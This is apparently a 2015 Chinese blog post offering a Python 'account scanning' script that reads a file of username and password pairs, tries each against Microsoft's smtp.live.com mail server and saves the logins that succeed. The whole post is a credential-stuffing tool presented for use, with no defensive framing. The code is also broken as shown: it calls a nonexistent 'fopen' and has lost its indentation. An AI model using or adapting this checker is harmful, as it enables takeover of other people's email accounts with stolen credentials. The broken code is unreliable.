python 扫号脚本 端口自定

#-*- coding:utf-8 -*-
import smtplib
import sys
import time
import threading

class Mythread(threading.Thread):
def __init__(self,username,pwd):
threading.Thread.__init__(self)
self.username=username
self.pwd=pwd

def run(self):
try:
server='smtp.live.com'
fp=fopen(self.username)
fp1=open(self.pwd,'w')
except Exception:
print('Files fopen Error')

for line in fp.readlines():
lines=line.split(' ')
uname=lines[0]
password=lines[1]
password=password.split('\n')[0]
smtp=smtplib.SMTP(server,587)
try:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()

#smtp.login.SSL(uname,password) 启用SSL加上

smtp.login(uname,password)
except Exception:
print('[-]:%s : %s'%(uname,password))
time.sleep(1)

else:
out='[+]:%s : %s'%(uname,password)
print(out)
fp1.write(out)
fp1.flush()

if __name__=='__main__':
Mythread(sys.argv[1],sys.argv[2]).start()



posted @ 2015-08-06 22:13  借物少年  阅读(571)  评论(0)    收藏  举报